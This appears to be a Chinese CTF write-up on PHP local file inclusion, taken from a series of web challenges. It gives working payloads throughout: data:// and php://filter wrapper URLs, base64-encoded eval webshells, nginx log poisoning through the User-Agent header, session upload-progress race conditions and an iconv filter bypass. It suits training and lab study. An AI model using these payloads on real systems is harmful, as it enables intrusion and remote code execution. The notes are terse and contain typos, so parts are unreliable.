把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":
<?php echo str_replace("world","Shanghai","Hello world!");?>
data:// 协议
条件:allow_url_fopen:on
allow_url_include :on
用法:data://text/plain 即:
http://127.0.0.1/include.php?file=data://text/plain,<?ph%20phpinfo();?>
data://text/plain;base64 即:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
当php被过滤后,我们可以用data://协议来绕过php检测。用<?php system("cat flag.php");?>
于是给大家做个演示 如果我正常用LFI去读/sqli/db.php文件 是无法读取它的源码 它会被当做php文件被执行
http://vulnerable/fileincl/example1.php?page=../sqli/db.php 无法打开。
这样做可以把指定php文件的源码以base64方式编码并被显示出来
http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../qli/db.php
如果php和data伪协议都被过滤,则需要通过日志包含。
Linux的日志文件路径是/var/log/nginx/access.log
要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令
(burp中go要点两次才能执行命令,且操作一定不能出问题,如果报错就要销毁容器从头再来)
?file=/var/log/nginx/access.log 在页面直接加,看出来有没有php文件。
User-Agent: <?php system('ls'); ?> 在User-Agent修改
User-Agent: <?php system('cat fl0g.php'); ?> 在User-Agent中修改
可看图1和图2.
当.被过滤后要考虑session.upload_progress进行文件包含
即先创建一个脚本可以上传文件-->1.HTML
之后在用条件竞争进行竞争,最后得到flag。
(记得不要忘记更改1.html的url和在正文加<?php system('ls');?>,bp抓包后的cookie为PHPSESSID_flag。和爆破时应为‘没有负载’。
先ls或直接cat *。
在1.html发送文件后在url后加session路径:
session文件默认存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_(PHPSESSID)
/tmp/sessions/sess_PHPSESSID)
web82~86
session条件竞争。
web87
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
首先要知道:file_put_contents()的意思
他是将"<?php die('大佬别秀了');?>".$content放进$file文件里面。
因此php伪协议
php://filter/read=convert.base64-decode/resource=1.php创建文件
(记得对伪协议进行2次url加密,防止php等关键词语被过滤掉)
之后content=<?php eval($_POST[a]); ?>(记得base64加密)。
传完之后连接蚁剑,出flag。
web88
data伪协议
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw
PD9waHAgZXZhbCgkX1BPU1RbMV0pOw是<?php eval($_POST[1]); base64编码
web117
playload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?